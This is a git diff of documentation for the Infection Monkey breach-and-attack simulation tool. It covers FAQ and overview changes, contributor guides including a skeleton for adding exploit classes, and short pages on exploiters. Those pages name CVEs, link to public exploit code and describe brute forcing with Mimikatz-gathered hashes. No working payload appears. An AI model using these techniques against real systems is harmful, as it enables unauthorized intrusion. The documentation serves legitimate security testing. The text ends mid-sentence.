The log will contain entries like these ones for example: +The logs contain information about the internals of the Infection Monkey agent's execution. The log will contain entries like these: ```log 2019-07-22 19:16:44,228 [77598:140654230214464:INFO] main.main.116: >>>>>>>>>> Initializing monkey (InfectionMonkey): PID 77598 <<<<<<<<<< @@ -114,67 +152,87 @@ The logs contain information about the internals of the Monkey's execution. The 2019-07-22 19:16:45,013 [77598:140654230214464:DEBUG] connectionpool._make_request.396: https://updates.infectionmonkey.com:443 "GET / HTTP/1.1" 200 61 ``` -## Running the Monkey in a production environment +### How do I change the log level of the Monkey Island logger? -### How much of a footprint does the Monkey leave? +The log level of the Monkey Island logger is set in the `log_level` field +in the `server_config.json` file (located in the [data directory](/reference/data_directory)). +Make sure to leave everything else in `server_config.json` unchanged: -The Monkey leaves hardly any trace on the target system. It will leave: +```json +{ + ... + "log_level": "DEBUG", + ... +} +``` + +Logging levels correspond to [the logging level constants in python](https://docs.python.org/3.7/library/logging.html#logging-levels). + +To apply the changes, reset the Monkey Island process. +On Linux, use `sudo systemctl restart monkey-island.service`. +On Windows, restart the program. + +## Running the Infection Monkey in a production environment + +### How much of a footprint does the Infection Monkey leave? + +The Infection Monkey leaves hardly any trace on the target system. It will leave: - Log files in the following locations: - Path on Linux: `/tmp/user-1563` - Path on Windows: `%temp%\\~df1563.tmp` -### What's the Monkey's impact on system resources usage? +### What's the Infection Monkey's impact on system resources usage? -The Infection Monkey uses less than single-digit percent of CPU time and very low RAM usage. For example, on a single-core Windows Server machine, the Monkey consistently uses 0.06% CPU, less than 80MB of RAM and a small amount of I/O periodically. +The Infection Monkey uses less than a single-digit percent of CPU time and very low RAM usage. For example, on a single-core Windows Server machine, the Infection Monkey consistently uses 0.06% CPU, less than 80MB of RAM and a small amount of I/O periodically. -If you do experience any performance issues please let us know on [our Slack channel](https://infectionmonkey.slack.com/) or via [opening an issue on GitHub](https://github.com/guardicore/monkey). +If you do experience any performance issues please let us know on [our Slack channel](https://infectionmonkey.slack.com/) or [open an issue on GitHub](https://github.com/guardicore/monkey). -### Is it safe to use real passwords and usernames in the Monkey's configuration? +### Is it safe to use real passwords and usernames in the Infection Monkey's configuration? -Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is then accessible only to users that have access to the Island. +Absolutely! User credentials are stored encrypted in the Monkey Island server. This information is accessible only to users that have access to the specific Monkey Island. -We advise to limit access to the Monkey Island server by following our [password protection guide](../usage/island/password-guide). +We advise users to limit access to the Monkey Island server by following our [password protection guide]({{< ref "/setup/accounts-and-security" >}}). ### How do you store sensitive information on Monkey Island? -Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island's database in an encrypted fashion. This data is transmitted to the Infection Monkeys in an encrypted fashion (HTTPS) and is not stored locally on the victim machines. +Sensitive data such as passwords, SSH keys and hashes are stored on the Monkey Island's database in an encrypted fashion. This data is transmitted to the Infection Monkey agents in an encrypted fashion (HTTPS) and is not stored locally on victim machines. When you reset the Monkey Island configuration, the Monkey Island wipes the information. -### How stable are the exploitations used by the Monkey? Will the Monkey crash my systems with its exploits? +### How stable are the exploits used by the Infection Monkey? Will the Infection Monkey crash my systems with its exploits? -The Monkey does not use any exploits or attacks that may impact the victim system. +The Infection Monkey does not use any exploits or attacks that may impact the victim system. -This means we avoid using some very strong (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact. But because it may crash a production system, we aren't using it. +This means we avoid using some powerful (and famous) exploits such as [EternalBlue](https://www.guardicore.com/2017/05/detecting-mitigating-wannacry-copycat-attacks-using-guardicore-centra-platform/). This exploit was used in WannaCry and NotPetya with huge impact, but, because it may crash a production system, we aren't using it. -## After I've set up Monkey Island, how can I execute the Monkey? +## After I've set up Monkey Island, how can I execute the Infection Monkey agent? -See our detailed [getting started](../content/usage/getting-started) guide. +See our detailed [getting started]({{< ref "/usage/getting-started" >}}) guide. -## How can I make the monkey propagate “deeper” into the network? +## How can I make the Infection Monkey agent propagate “deeper” into the network? -If you wish to simulate a very “deep” attack into your network, you can try to increase the *propagation depth* parameter in the configuration. This parameter tells the Monkey how far to propagate into your network from the “patient zero” machine in which it was launched manually. +If you wish to simulate a very “deep” attack into your network, you can increase the *propagation depth* parameter in the configuration. This parameter tells the Infection Monkey how far to propagate into your network from the “patient zero” machine. -To do this, change the “Distance from Island” parameter in the “Basic - Network” tab of the configuration: +To do this, change the *Distance from Island* parameter in the “Basic - Network” tab of the configuration: ![How to increase propagation depth](/images/faq/prop_depth.png "How to increase propagation depth") -## The report returns a blank screen +## What if the report returns a blank screen? This is sometimes caused when Monkey Island is installed with an old version of MongoDB. Make sure your MongoDB version is up to date using the `mongod --version` command on Linux or the `mongod -version` command on Windows. If your version is older than **4.0.10**, this might be the problem. To update your Mongo version: -- **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). -- **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of mongodb using the [official mongodb manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Island again and everything should work. +- **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). +- **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of MongoDB using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Monkey Island again and everything should work. ## How can I get involved with the project? -The Monkey is an open-source project, and we weclome contributions and contributors. Check out the [contribution documentation](../development) for more information. +Infection Monkey is an open-source project, and we welcome contributions and contributors. Check out the [contribution documentation]({{< ref "/development" >}}) for more information. ## About the project 🐵 ### How did you come up with the Infection Monkey? -Oddly enough, the idea of proactively breaking the network to test its survival wasn't born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool that was designed to randomly disable the company's production servers to verify they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs. +Oddly enough, the idea of proactively breaking a network to test its survival wasn't born in the security industry. In 2011, the streaming giant Netflix released Chaos Monkey, a tool designed to randomly disable the company's production servers to verify that they could survive network failures without any customer impact. Netflix's Chaos Monkey became a popular network resilience tool, breaking the network in a variety of failure modes, including connectivity issues, invalid SSL certificates and randomly deleting VMs. -Inspired by this concept, Guardicore Labs developed its own attack simulator - Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attack and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017 (?) the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers. +Inspired by this concept, Guardicore Labs developed its own attack simulator - the Infection Monkey - to run non-intrusively within existing production environments. The idea was to test the resiliency of modern data centers against attacks and give security teams the insights they need to make informed decisions and enforce tighter security policies. Since its launch in 2017, the Infection Monkey has been used by hundreds of information technology teams from across the world to find weaknesses in their on-premises and cloud-based data centers. diff --git a/docs/content/_index.md b/docs/content/_index.md index f363f7243..88448acb8 100644 --- a/docs/content/_index.md +++ b/docs/content/_index.md @@ -10,20 +10,37 @@ draft: false ## What is Guardicore Infection Monkey? -The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island Command and Control server. +The Infection Monkey is an open-source breach and attack simulation tool for testing a data center's resiliency to perimeter breaches and internal server infection. +Infection Monkey will help you validate existing security solutions and will provide a view of the internal network from an attacker's perspective. + +Infection Monkey is free and can be downloaded from [our homepage](https://infectionmonkey.com/). ![Infection Monkey Documentation Hub Logo](/images/monkey-teacher.svg?height=400px "Infection Monkey Documentation Hub Logo") -The Infection Monkey is comprised of two parts: +## How it works -* Monkey - A tool which infects other machines and propagates to them. -* Monkey Island - A dedicated UI to visualize the Infection Monkey's progress inside the data center. +Architecturally, Infection Monkey is comprised of two components: -To read more about the Monkey and download it, visit [our homepage](https://infectionmonkey.com/). +* Monkey Agent (Monkey for short) - a safe, worm-like binary program which scans, propagates and simulates attack techniques on the **local network**. +* Monkey Island Server (Island for short) - a C&C web server which provides a GUI for users and interacts with the Monkey Agents. + +The user can run the Monkey Agent on the Island server machine or distribute Monkey Agent binaries on the network manually. Based on +the configuration parameters, Monkey Agents scan, propagate and simulate an attacker's behavior on the local network. All of the +information gathered about the network is aggregated in the Island Server and displayed once all Monkey Agents are finished. + +## Results + +The results of running Monkey Agents are: + - A map which displays how much of the network an attacker can see, what services are accessible and potential propagation routes. + - A security report, which displays security issues that Monkey Agents discovered and/or exploited. + - A MITRE ATT&CK report, which displays the information about the ATT&CK techniques that Monkey Agents tried to use. + - A Zero Trust report, which displays violations of Zero Trust principles that Monkey Agents found. + +A more in-depth description of reports generated can be found in the [reports documentation page]({{< ref "/reports" >}}). ## Getting Started -If you haven't downloaded Infection Monkey yet you can do so [from our homepage](https://www.guardicore.com/infectionmonkey/#download). After downloading the Monkey, install it using one of our [setup guides](setup), and read our [getting started guide](usage/getting-started) for a quick-start on Monkey! +If you haven't downloaded Infection Monkey yet you can do so [from our homepage](https://www.guardicore.com/infectionmonkey/#download). After downloading the Monkey, install it using one of our [setup guides]({{< ref "/setup" >}}), and read our [getting started guide]({{< ref "/usage/getting-started" >}}) for a quick-start on Monkey! ## Support and community diff --git a/docs/content/development/_index.md b/docs/content/development/_index.md index 236c7c3cd..37a5978e7 100644 --- a/docs/content/development/_index.md +++ b/docs/content/development/_index.md @@ -4,7 +4,7 @@ date = 2020-05-26T20:55:04+03:00 weight = 30 chapter = true pre = ' ' -tags = ["development", "contribute"] +tags = ["development", "contribute"] +++ # Securing networks together @@ -15,7 +15,7 @@ Want to help secure networks? That's great! Here are a few short links to help you get started: -* [Getting up and running](./setup-development-environment) - These instructions will help you get a working development setup. +* [Getting up and running]({{< ref "/development/setup-development-environment" >}}) - These instructions will help you get a working development setup. * [Contributing guidelines](https://github.com/guardicore/monkey/blob/master/CONTRIBUTING.md) - These guidelines will help you submit. ## What are we looking for? @@ -24,13 +24,13 @@ You can take a look at [our roadmap](https://github.com/guardicore/monkey/projec ### More exploits! 💥 -The best way to find weak spots in a network is by attacking it. The [exploit template](https://github.com/guardicore/monkey/wiki/Exploit-templates) page will help you add exploits. +The best way to find weak spots in a network is by attacking it. The [*Adding Exploits*](./adding-exploits/) page will help you add exploits. It's important to note that the Infection Monkey must be absolutely reliable. Otherwise, no one will use it, so avoid memory corruption exploits unless they're rock solid and focus on the logical vulns such as Shellshock. ### Analysis plugins 🔬 -Successfully attacking every server in the network has little value if the Infection Monkey can't provide recommendations for reducing future risk. Whether it's explaining how the Infection Monkey used stolen credentials or escaped from locked-down networks, analysis is what helps users translate the Infection Monkey's activities into actionable next steps for improving security. +Successfully attacking every server in the network has little value if the Infection Monkey can't provide recommendations for reducing future risk. Whether it's explaining how the Infection Monkey used stolen credentials or escaped from locked-down networks, analysis is what helps users translate the Infection Monkey's activities into actionable next steps for improving security. ### Better code 💪 diff --git a/docs/content/development/adding-exploits.md b/docs/content/development/adding-exploits.md index d6af6814c..1f4698820 100644 --- a/docs/content/development/adding-exploits.md +++ b/docs/content/development/adding-exploits.md @@ -1,7 +1,110 @@ --- title: "Adding Exploits" date: 2020-06-08T19:53:00+03:00 -draft: true +draft: false tags: ["contribute"] weight: 50 --- + +## What does this guide cover? + +This guide will show you how to add a new _Exploit_ to the Infection Monkey. + +An exploit is a sequence of commands that takes advantage of a security vulnerability to gain unauthorized access to a system on your network. If successful, an Infection Monkey agent is released on the exploited system. The result of an attempted exploit is sent back to the Monkey Island as part of the telemetry. + +### Do I need a new Exploit? + +If all you want to do is execute a shell command, configure the required commands in the Monkey Island's post-breach action (PBA) configuration section or [add a new PBA](../adding-post-breach-actions/). If you would like the Infection Monkey agent to collect specific information, [add a new System Info Collector](../adding-system-info-collectors/). + +However, if you have your eye on an interesting CVE that you would like the Infection Monkey to support, you must add a new exploit. Keep reading to learn how to add a new exploit. + + +## How to add a new Exploit + +### Modify the Infection Monkey Agent + +The Infection Monkey exploiters are all built in a similar way. Each exploiter class inherits from the [`HostExploiter`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/HostExploiter.py) class, which exposes two interface functions: + +* `is_os_supported` - Returns a boolean value denoting whether the victim machine is supported by the exploiter (for example, returns `False` on Windows victim machines for the `SSHExploiter`). This can be used to thoroughly inspect a potential victim machine and decide whether to attempt the exploit on that particular machine (for example, by checking for open services matching specific versions). +* `exploit_host` - Exploits the host and returns a boolean value indicating whether or not the exploit was successful. + +#### Adding a new exploiter + +In the [Infection Monkey's exploit directory](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/exploit), add the **exploit's logic** by defining a new class that inherits from [`HostExploiter`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/HostExploiter.py). If your new exploit is a web RCE (remote code execution) exploit, inherit from [`WebRCE`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/web_rce.py). + +```py +from infection_monkey.exploit.HostExploiter import HostExploiter + +class MyNewExploiter(HostExploiter): + ... +``` + +A good example of an exploiter class is the [`SSHExploiter`](https://github.com/guardicore/monkey/blob/develop/monkey/infection_monkey/exploit/sshexec.py). The [Drupal exploiter is a recently added web RCE exploit](https://github.com/guardicore/monkey/pull/808) that is a good reference as well. + + +### Modify the Monkey Island + +#### Configuration + +1. Add your **exploiter's description** to the [configuration schema](https://github.com/guardicore/monkey/blob/develop/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py). + +```py +... + { + "type": "string", + "enum": ["SmbExploiter"], + "title": "SMB Exploiter", + "safe": True, + "attack_techniques": ["T1110", "T1075", "T1035"], + "info": "Brute forces using credentials provided by user and hashes gathered by mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/", + }, + { + "type": "string", <================================= + "enum": ["MyNewExploiter"], <================================= + "title": "My New Exploiter", <================================= + "safe": True, <================================= + "attack_techniques": [], <================================= + "info": "Information about your new exploiter.", <================================= + "link": "Link to the documentation page explaining your new exploiter.", <================================= + }, +... +``` + +2. Update the default **list of exploiters** in the [configuration schema](https://github.com/guardicore/monkey/blob/develop/monkey/monkey_island/cc/services/config_schema/basic.py) by adding your new exploiter's class name. + +```py +... + "exploiter_classes": { + "title": "Exploiters", + "type": "array", + "uniqueItems": True, + "items": {"$ref": "#/definitions/exploiter_classes"}, + "default": [ + "SmbExploiter", + ... + "DrupalExploiter", + "MyNewExploiter", <================================= + ], + } +... +``` + +#### Reporting + +1. In the [report generation pipeline](https://github.com/guardicore/monkey/blob/develop/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py), define how your **exploiter's data** should be processed and displayed in the report. Use the default `ExploitProcessor` or create a custom exploit processor if needed. + +```py +class ExploiterDescriptorEnum(Enum): + SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor) + ... + ZEROLOGON = ExploiterDescriptor("ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor) + MYNEWEXPLOITER = ExploitDescriptor("MyNewExploiter", "My New Eexploiter", ExploitProcessor) <================================= +``` + +2. Describe how the Monkey Island should **display your exploiter's results** by defining the UI contents in the [security report](https://github.com/guardicore/monkey/blob/develop/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js). + + +### Documentation + +**Update the documentation** to explain what your exploiter does in the [documentation framework](https://github.com/guardicore/monkey/blob/develop/docs/content/reference/exploiters/). diff --git a/docs/content/development/adding-post-breach-actions.md b/docs/content/development/adding-post-breach-actions.md index 033a6118c..659bb9473 100644 --- a/docs/content/development/adding-post-breach-actions.md +++ b/docs/content/development/adding-post-breach-actions.md @@ -16,7 +16,7 @@ If all you want to do is execute shell commands, then there's no need to add a n ## How to add a new PBA -### From the Infection Monkey Side +### Modify the Infection Monkey Agent #### Framework @@ -43,7 +43,7 @@ If your PBA consists only of simple shell commands, you can reuse the generic PB Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_new_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well. -### From the Monkey Island Side +### Modify the Monkey Island #### Configuration diff --git a/docs/content/development/adding-system-info-collectors.md b/docs/content/development/adding-system-info-collectors.md index 5a7aadd94..71cea6000 100644 --- a/docs/content/development/adding-system-info-collectors.md +++ b/docs/content/development/adding-system-info-collectors.md @@ -14,9 +14,9 @@ This guide will show you how to create a new _System Info Collector_ for the Inf If all you want to do is execute a shell command, then there's no need to add a new System Info Collector - just configure the required commands in the Monkey Island's post-breach action (PBA) section! Also, if there is a relevant System Info Collector and you only need to add more information to it, simply expand the existing one. Otherwise, you must add a new System Info Collector. -## How to add a new System Info Collector +## How to add a new System Info Collector -### From the Monkey Island Side +### Modify the Infection Monkey Agent #### Framework @@ -41,7 +41,7 @@ class MyNewCollector(SystemInfoCollector): Override the `collect` method with your own implementation. See the `EnvironmentCollector.py` System Info Collector for reference. You can log during collection as well. -### From the Monkey Island Side +### Modify the Monkey Island #### Configuration diff --git a/docs/content/development/contribute-documentation.md b/docs/content/development/contribute-documentation.md index ce4dbef4b..eafaff55d 100644 --- a/docs/content/development/contribute-documentation.md +++ b/docs/content/development/contribute-documentation.md @@ -52,7 +52,7 @@ This folder controls many of the parameters regarding the site generation. ### Themes -This is the theme we're using. It's a submodule (to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If you want to make changes to the theme itself, or pull updates from the upstream, you'll do it here. +This is the theme we're using. It's a submodule (to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If you want to make changes to the theme itself, or pull updates from the upstream, you'll do it here. ### Layouts and archtypes @@ -60,7 +60,7 @@ This directory includes custom [HTML partials](https://gohugo.io/templates/parti ### Public and resources -These are the build output of `hugo` and should never be `commit`-ed to git. +These are the build output of `hugo` and should never be `commit`-ed to git. ## How to contribute @@ -68,6 +68,8 @@ These are the build output of `hugo` and should never be `commit`-ed to git. You'll have to [install `hugo`](https://gohugo.io/getting-started/installing/), a text editor that's good for markdown (`vscode` and `vim` are good options) and `git`. +Note: Installing `hugo` via `apt` is not recommended because Hugo is usually few [versions behind](https://github.com/wowchemy/wowchemy-hugo-modules/issues/703) the latest for Debian and Ubuntu package managers. Refer to latest [releases](https://github.com/gohugoio/hugo/releases) of Hugo. + ### Adding and editing content #### Add a new page @@ -93,7 +95,7 @@ Run `hugo --environment staging` or `hugo --environment production`. This will c ##### `Error: Unable to locate config file or config directory. Perhaps you need to create a new site.` Did you confirm your working directory? It should be `monkey/docs`. - + ##### `failed to extract shortcode: template for shortcode "children" not found` or theme doesn't seem right? Have you run `git submodule update`? diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index d558b11ce..f2e739f3a 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -10,7 +10,7 @@ tags: ["contribute"] To set up a development environment using scripts, look at the readme under [`/deployment_scripts`](https://github.com/guardicore/monkey/blob/develop/deployment_scripts). If you want to set it up manually or run into problems, keep reading. -## Agent +## The Infection Monkey Agent The agent (which we sometimes refer to as the Infection Monkey) is a single Python project under the [`infection_monkey`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey) folder. The Infection Monkey agent was built for Python 3.7. You can get it up and running by setting up a [virtual environment](https://docs.python-guide.org/dev/virtualenvs/) and installing the requirements listed in the [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/requirements.txt) inside it. @@ -23,3 +23,17 @@ This means setting up an environment with Linux 32/64-bit with Python installed The Monkey Island is a Python backend React frontend project. Similar to the agent, the backend's requirements are listed in the matching [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/requirements.txt). To setup a working front environment, run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/readme.txt) + +## Pre-commit + +Pre-commit is a multi-language package manager for pre-commit hooks. It will run a set of checks when you attempt to commit. If your commit does not pass all checks, it will be reformatted and/or you'll be given a list of errors and warnings that need to be fixed before you can commit. + +Our CI system runs the same checks when pull requests are submitted. This system may report that the build has failed if the pre-commit hooks have not been run or all issues have not been resolved. + +To install and configure pre-commit, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install -t pre-commit -t pre-push`. Pre-commit will now run automatically whenever you `git commit`. + +## Swimm + +Infection Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Infection Monkey codebase and accelerate the ramp-up process. The tutorials include adding new configuration values, new system info collectors and more. + +In order to pass the pre-commit checks, you'll have to [install Swimm successfully](https://www.guardicore.com/infectionmonkey/docs/development/swimm/). Both the Linux and Windows deployment scrips will install [Swimm](https://swimm.io/), but you'll have to sign up [here](https://swimm.io/sign-beta) to complete the process. diff --git a/docs/content/reference/_index.md b/docs/content/reference/_index.md index 01a3a98f3..356d85312 100644 --- a/docs/content/reference/_index.md +++ b/docs/content/reference/_index.md @@ -9,6 +9,6 @@ tags = ["reference"] # Reference -Find detailed information about Infection Monkey. +Find detailed information about the Infection Monkey. {{% children %}} diff --git a/docs/content/reference/data_directory.md b/docs/content/reference/data_directory.md new file mode 100644 index 000000000..418c320fa --- /dev/null +++ b/docs/content/reference/data_directory.md @@ -0,0 +1,18 @@ +--- +title: "Data directory" +date: 2021-05-18T08:49:59+03:00 +draft: false +pre: ' ' +weight: 9 +--- + +## What is the data directory? + +The data directory is where the Island server stores runtime artifacts. +These include the Island logs, any custom post-breach action files, +configuration files, etc. + +## Where is it located? + +On Linux, the default path is `$HOME/.monkey_island`. +On Windows, the default path is `%AppData%\monkey_island`. diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md index df600b2cb..5763b0ca8 100644 --- a/docs/content/reference/exploiters/Drupal.md +++ b/docs/content/reference/exploiters/Drupal.md @@ -18,7 +18,7 @@ This can lead to arbitrary PHP code execution in some cases. ### Affected Versions -* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. +* Drupal 8.5.x (before 8.5.11) and Drupal 8.6.x (before 8.6.10). One of the following conditions must hold: * The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH @@ -32,4 +32,4 @@ Drupal 8, or Services or RESTful Web Services in Drupal 7. * The Infection Monkey exploiter implementation is based on an open-source [Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) of the exploit by @leonjza. -* For the full attack to work, more than one vulnerable URL is required. \ No newline at end of file +* For the full attack to work, more than one vulnerable URL is required. diff --git a/docs/content/reference/exploiters/ElasticGroovy.md b/docs/content/reference/exploiters/ElasticGroovy.md index 7325ccb86..86ae4247c 100644 --- a/docs/content/reference/exploiters/ElasticGroovy.md +++ b/docs/content/reference/exploiters/ElasticGroovy.md @@ -4,9 +4,10 @@ date: 2020-07-14T08:41:40+03:00 draft: false tags: ["exploit", "windows", "linux"] --- +### Description -CVE-2015-1427. +CVE-2015-1427 -> The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script. +> The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x (before 1.4.3) allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script. -Logic is based on [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb). +The logic is based on the [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb). diff --git a/docs/content/reference/exploiters/Hadoop.md b/docs/content/reference/exploiters/Hadoop.md index 7d9de287b..300eb47ad 100644 --- a/docs/content/reference/exploiters/Hadoop.md +++ b/docs/content/reference/exploiters/Hadoop.md @@ -5,4 +5,6 @@ draft: false tags: ["exploit", "linux", "windows"] --- -Remote code execution on HADOOP server with YARN and default settings. Logic based on [this vulhub module](https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn). +### Description + +This exploit consists of remote code execution on HADOOP servers with YARN and default settings. The logic is based on [this vulhub module](https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn). diff --git a/docs/content/reference/exploiters/MS08-067.md b/docs/content/reference/exploiters/MS08-067.md index 3f0c57cc3..d4eb3b807 100644 --- a/docs/content/reference/exploiters/MS08-067.md +++ b/docs/content/reference/exploiters/MS08-067.md @@ -5,6 +5,10 @@ draft: false tags: ["exploit", "windows"] --- +### Description + [MS08-067](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067) is a remote code execution vulnerability. -This exploiter is unsafe. If an exploit attempt fails, this could also lead to a crash in Svchost.exe. If the crash in Svchost.exe occurs, the Server service will be affected. That might cause system crash due to the use of buffer overflow. It's therefore **not** enabled by default. +This exploiter is unsafe. It's therefore **not** enabled by default. + +If an exploit attempt fails, this could also lead to a crash in Svchost.exe. If a crash in Svchost.exe occurs, the server service will be affected. This may cause a system crash due to the use of buffer overflow. diff --git a/docs/content/reference/exploiters/MsSQL.md b/docs/content/reference/exploiters/MsSQL.md index 2d664503b..58926addd 100644 --- a/docs/content/reference/exploiters/MsSQL.md +++ b/docs/content/reference/exploiters/MsSQL.md @@ -5,4 +5,6 @@ draft: false tags: ["exploit", "windows"] --- -The Monkey will try to brute force into MsSQL server and uses insecure configuration to execute commands on server. +### Description + +For this exploit, the Infection Monkey will try to brute force into a MsSQL server and use an insecure configuration to execute commands on the server. diff --git a/docs/content/reference/exploiters/SMBExec.md b/docs/content/reference/exploiters/SMBExec.md index cccf0596d..47bb88f92 100644 --- a/docs/content/reference/exploiters/SMBExec.md +++ b/docs/content/reference/exploiters/SMBExec.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:16+03:00 draft: false tags: ["exploit", "windows"] --- +### Description -Brute forces using credentials provided by user (see ["Configuration"](../usage/configuration)) and hashes gathered by Mimikatz. +This exploit brute forces machines using credentials provided by the user (see [configuration]({{< ref "/usage/configuration" >}}) for instructions) and hashes gathered from infected systems by Mimikatz. diff --git a/docs/content/reference/exploiters/SSHExec.md b/docs/content/reference/exploiters/SSHExec.md index d90d311cb..65321eb6b 100644 --- a/docs/content/reference/exploiters/SSHExec.md +++ b/docs/content/reference/exploiters/SSHExec.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:21+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -Brute forces using credentials provided by user (see ["Configuration"](../usage/configuration))and SSH keys gathered from systems. +This exploit brute forces machines using credentials provided by the user (see ["configuration"]({{< ref "/usage/configuration" >}}) for instructions) and SSH keys gathered from infected systems. diff --git a/docs/content/reference/exploiters/Sambacry.md b/docs/content/reference/exploiters/Sambacry.md index 1187d08ed..1cc804875 100644 --- a/docs/content/reference/exploiters/Sambacry.md +++ b/docs/content/reference/exploiters/Sambacry.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:02+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -Bruteforces and searches for anonymous shares. Partially based on [the following implementation](https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py) by CORE Security Technologies' impacket. +This exploit brute forces machines and searches for anonymous shares. It is partially based on [the following implementation](https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py) by CORE Security Technologies' impacket. diff --git a/docs/content/reference/exploiters/Struts2.md b/docs/content/reference/exploiters/Struts2.md index a81f61575..5ce1dfe5a 100644 --- a/docs/content/reference/exploiters/Struts2.md +++ b/docs/content/reference/exploiters/Struts2.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:30+03:00 draft: false tags: ["exploit", "linux", "windows"] --- +### Description -Exploits struts2 java web framework. CVE-2017-5638. Logic based on [VEX WOO's PoC](https://www.exploit-db.com/exploits/41570). +This exploit, CVE-2017-5638, utilizes the Struts 2 Java web framework. The logic is based on [VEX WOO's PoC](https://www.exploit-db.com/exploits/41570). diff --git a/docs/content/reference/exploiters/VSFTPD.md b/docs/content/reference/exploiters/VSFTPD.md index ce5a6dcc3..32b3ad96f 100644 --- a/docs/content/reference/exploiters/VSFTPD.md +++ b/docs/content/reference/exploiters/VSFTPD.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:42:39+03:00 draft: false tags: ["exploit", "linux"] --- +### Description -Exploits a malicious backdoor that was added to the VSFTPD download archive. Logic based on [this MetaSploit module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb). +This exploits a malicious backdoor that was added to the VSFTPD download archive. The logic is based on [this MetaSploit module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb). diff --git a/docs/content/reference/exploiters/WMIExec.md b/docs/content/reference/exploiters/WMIExec.md index 346bc6eed..71de35c57 100644 --- a/docs/content/reference/exploiters/WMIExec.md +++ b/docs/content/reference/exploiters/WMIExec.md @@ -4,5 +4,6 @@ date: 2020-07-14T08:43:12+03:00 draft: false tags: ["exploit", "windows"] --- +### Description -Brute forces 